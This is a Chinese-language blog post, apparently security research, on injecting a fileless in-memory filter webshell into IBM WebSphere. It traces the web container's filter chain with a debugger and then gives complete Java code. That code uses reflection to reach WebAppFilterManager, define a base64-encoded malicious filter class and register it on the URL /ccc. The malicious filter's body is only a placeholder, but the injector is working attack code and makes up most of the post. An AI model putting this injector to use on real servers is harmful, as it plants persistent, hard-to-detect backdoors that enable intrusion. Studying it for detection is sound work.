docker部署环境
docker pull ibmcom/websphere-traditional docker run --name websphere -h websphere -e UPDATE_HOME=true -p 9043:9043 -p 9443:9443 -p 7777:7777 --restart=always -d ibmcom/websphere-traditional docker exec -it websphere cat /tmp/PASSWORD 9043端口 9443端口 7777端口 /tmp/PASSWORD:控制台登录密码,账号:wsadmin 登录后台: https://ip:9043/ibm/console
进入后台
设置websphere为Debug模式
绑定端口
编写DemoFilter和DemoServlet,配置项目的web.xml
<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <filter> <filter-name>TestFilter</filter-name> <filter-class>TestFilter</filter-class> </filter> <filter-mapping> <filter-name>TestFilter</filter-name> <url-pattern>/test</url-pattern> </filter-mapping> <servlet> <servlet-name>TestServlet</servlet-name> <servlet-class>TestServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>TestServlet</servlet-name> <url-pattern>/test</url-pattern> </servlet-mapping> </web-app>
生成war包
将war包导入服务器中
在Servlet 中打下断点,观察调用栈,通过调用栈观察是哪里调用了TestFilter.
com.ibm.ws.webcontainer.filter.FilterInstanceWrapper
中调用了TestFilter
而this._filterInstance
是构造方法FilterInstanceWrapper
传入的参数获取的。那么观察哪里实例化了一个FilterInstanceWrapper
对象。
继续观察调用栈,可以看到在com.ibm.ws.webcontainer.filter.WebAppFilterChain
中通过(FilterInstanceWrapper)this._filters.get(this._currentFilterIndex)
实例化FilterInstanceWrapper
,那么继续观察this._filters
是如何生成的。
在com.ibm.ws.webcontainer.filter.WebAppFilterChain
中看到_filters为new ArrayList()
。
并且在com.ibm.ws.webcontainer.filter.WebAppFilterChain
中看到addFilter
方法,该方法中调用了this._filters.add(fiw)
,其中fiw为FilterInstanceWrapper类型
在这个地方打下断点,重新调试,观察哪里调用了该方法,了解是怎么生成WebAppFilterChain._filters
。
在com.ibm.ws.webcontainer.filter.WebAppFilterManager
中的getFilterChain()
方法,调用了WebAppFilterChain
的addFilter
。
关注该方法中的以下代码。
newChain.addFilter(this.getFilterInstanceWrapper((String)filterNames.get(i)));
其中this.getFilterInstanceWrapper((String)filterNames.get(i))
。
这里有两个需要关注的地方,this.getFilterInstanceWrapper()
和(String)filterNames.get(i)
。
首先是(String)filterNames.get(i)
。可以看到其实filternames
实际上来自于this.getFilterChainContents
跟进getFilterChainContents
观察,可以看到fcc
来自于com.ibm.ws.webcontainer.filter.WebAppFilterManager
对象中的chainCache变量
接着是this.getFilterInstanceWrapper()
,这里就是com.ibm.ws.webcontainer.filter.WebAppFilterManager::getFilterInstanceWrapper()
通过filtername
来获取当前WebAppFilterManager对象
中的FilterInstanceWrapper对象
。
构造内存马的思路:
1、获取到WebAppFilterManager
对象
2、实例化恶意Filter相关的FilterChainContents,添加到WebAppFilterManager.chainCache
3、实例化恶意Filter相关的FilterInstanceWrapper,添加到WebAppFilterManager._filterWrappers
WebAppFilterManager
对象在当前线程中寻找上下文。
从当前线程中获取currentThreadsIExtendedRequest
,通过调用getServletContext()
,获取上下文。在上下文中可以获取到当前线程的WebAppFilterManager
对象filterManager
。
private static WebAppImpl context; private static synchronized void GetWebContent() throws Exception{ try { Object[] wsThreadLocals = (Object[]) GetField(Thread.currentThread(),"wsThreadLocals"); for (int i = 0; i < wsThreadLocals.length; i++) { if(wsThreadLocals[i] != null &&wsThreadLocals[i].getClass().getName().contains("WebContainerRequestState") ){ currentThreadsIExtendedRequest = (SRTServletRequest) GetField(wsThreadLocals[i],"currentThreadsIExtendedRequest"); } } ServletContext servletContext = currentThreadsIExtendedRequest.getServletContext(); System.out.println("Step 1"); context = (WebAppImpl)GetField(servletContext,"context"); }catch (Exception e){ e.printStackTrace(); } } private static synchronized Object GetField(Object o, String k) throws Exception{ Field f; try { f = o.getClass().getDeclaredField(k); } catch (NoSuchFieldException e) { try{ f = o.getClass().getSuperclass().getDeclaredField(k); }catch (Exception e1){ f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k); } } f.setAccessible(true); return f.get(o); }
接着从web上下文中获取到filterManager
。
private static synchronized void InjectFilter() throws Exception { try { if(context!=null){ filterManager = (WebAppFilterManagerImpl) GetField(context,"filterManager"); ....
从filterManager中获取到当前线程的chainCache
,通过反射实例化一个FilterChainContents,对照TestFilter的FilterChainContents,去构造恶意Filter相关的FilterChainContents
。
private static synchronized void InjectFilter() throws Exception { try { if(context!=null){ filterManager = (WebAppFilterManagerImpl) GetField(context,"filterManager"); chainCache = (Map<String, Object>) GetField(filterManager,"chainCache"); Constructor constructor = Class.forName("com.ibm.ws.webcontainer.filter.FilterChainContents").getDeclaredConstructor(); constructor.setAccessible(true); Object filterChainContents = constructor.newInstance(); //Step1 ArrayList _filterNames= (ArrayList) GetField(filterChainContents,"_filterNames"); _filterNames.add(filterName); SetField(filterChainContents,"_hasFilters",true); chainCache.put(url,filterChainContents);
对照TestFilter的FilterInstanceWrapper,构造恶意Filter相关的FilterInstanceWrapper
。
从当前filterManager对象中获取到_filterWrappers
,直接通过New FilterInstanceWrapper()
实例化一个新的FilterInstanceWrapper
。
这里有几个我认为需要注意的地方。
1、实例化FilterInstanceWrapper时,需要传入的参数为ManagedObject<Filter>类型
而在早版本的websphere中是filter类型的参数
所以这里需要进行一个类型转换。
2、_filtersDefined设置为true的原因是因为这里对_filtersDefined进行判断。
3、_filterState 设置为 2 的原因是因为这里对_filterState==2
进行校验了
为了方便调试,直接在Sevlet的Get请求中编写内存马加载过程。
import com.ibm.ws.managedobject.ManagedObject; import com.ibm.ws.managedobject.ManagedObjectContext; import com.ibm.ws.webcontainer.cdi.WCManagedObject; import com.ibm.ws.webcontainer.filter.FilterConfig; import com.ibm.ws.webcontainer.filter.FilterInstanceWrapper; import com.ibm.ws.webcontainer.filter.WebAppFilterManagerImpl; import com.ibm.ws.webcontainer.srt.SRTServletRequest; import com.ibm.ws.webcontainer.webapp.WebAppEventSource; import com.ibm.ws.webcontainer.webapp.WebAppImpl; import com.ibm.wsspi.webcontainer.webapp.WebAppConfig; import sun.misc.BASE64Decoder; import javax.servlet.*; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.*; public class TestServlet extends HttpServlet { @Override public void init(ServletConfig servletConfig) throws ServletException { } private static String filterName = "HFilter"; private static String filterClassName = "com.sso.HFilter"; private static String url = "/ccc"; private static SRTServletRequest currentThreadsIExtendedRequest = null; private static WebAppImpl context; private static WebAppFilterManagerImpl filterManager= null; private static Map<String, Object> chainCache = null; private static Hashtable<String, FilterInstanceWrapper> _filterWrappers; @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.getWriter().println("This is Http"); try { LoadFilter(); GetWebContent(); InjectFilter(); } catch (Exception e) { e.printStackTrace(); } } private static synchronized void LoadFilter() throws Exception { try{ Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance(); }catch (Exception e){ Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); a.setAccessible(true); byte[] b = (new BASE64Decoder()).decodeBuffer("恶意Filter.class | base64"); a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length); } } private static synchronized void GetWebContent() throws Exception{ try { Object[] wsThreadLocals = (Object[]) GetField(Thread.currentThread(),"wsThreadLocals"); for (int i = 0; i < wsThreadLocals.length; i++) { if(wsThreadLocals[i] != null &&wsThreadLocals[i].getClass().getName().contains("WebContainerRequestState") ){ currentThreadsIExtendedRequest = (SRTServletRequest) GetField(wsThreadLocals[i],"currentThreadsIExtendedRequest"); } } ServletContext servletContext = currentThreadsIExtendedRequest.getServletContext(); System.out.println("Step 1"); context = (WebAppImpl)GetField(servletContext,"context"); }catch (Exception e){ e.printStackTrace(); } } private static synchronized Object GetField(Object o, String k) throws Exception{ Field f; try { f = o.getClass().getDeclaredField(k); } catch (NoSuchFieldException e) { try{ f = o.getClass().getSuperclass().getDeclaredField(k); }catch (Exception e1){ f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k); } } f.setAccessible(true); return f.get(o); } public TestServlet() { } private static synchronized void InjectFilter() throws Exception { try { if(context!=null){ filterManager = (WebAppFilterManagerImpl) GetField(context,"filterManager"); chainCache = (Map<String, Object>) GetField(filterManager,"chainCache"); Constructor constructor = Class.forName("com.ibm.ws.webcontainer.filter.FilterChainContents").getDeclaredConstructor(); constructor.setAccessible(true); Object filterChainContents = constructor.newInstance(); //Step1 ArrayList _filterNames= (ArrayList) GetField(filterChainContents,"_filterNames"); _filterNames.add(filterName); SetField(filterChainContents,"_hasFilters",true); chainCache.put(url,filterChainContents); //Step2 _filterWrappers = (Hashtable<String, FilterInstanceWrapper>) GetField(filterManager,"_filterWrappers"); javax.servlet.Filter filter = (Filter) Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance(); WebAppEventSource _evtSource = (WebAppEventSource) GetField(filterManager,"_evtSource"); ManagedObject filterMo = context.createManagedObject(filter); FilterInstanceWrapper filterInstanceWrapper = new FilterInstanceWrapper(filterName,filterMo,_evtSource); SetField(filterInstanceWrapper,"_filterState",2); Object webAppConfig = GetField(filterManager,"webAppConfig"); FilterConfig filterConfig = new FilterConfig(filterName,(WebAppConfig) webAppConfig); HashSet<DispatcherType> set = new HashSet(); set.add(DispatcherType.REQUEST); filterConfig.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST),true,url); SetField(filterInstanceWrapper,"_filterConfig",filterConfig); _filterWrappers.put(filterName,filterInstanceWrapper); SetField(filterManager,"_filtersDefined",true); System.out.println("123"); } }catch (Exception e){ e.printStackTrace(); } } private static synchronized void SetField(Object o, String k,Object v) throws Exception{ Field f; try{ f = o.getClass().getDeclaredField(k); }catch (NoSuchFieldException e){ f = o.getClass().getSuperclass().getDeclaredField(k); }catch (Exception e1){ f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k); } f.setAccessible(true); f.set(o,v); } @Override public void destroy() { } }
如分析有不对之处,望斧正~~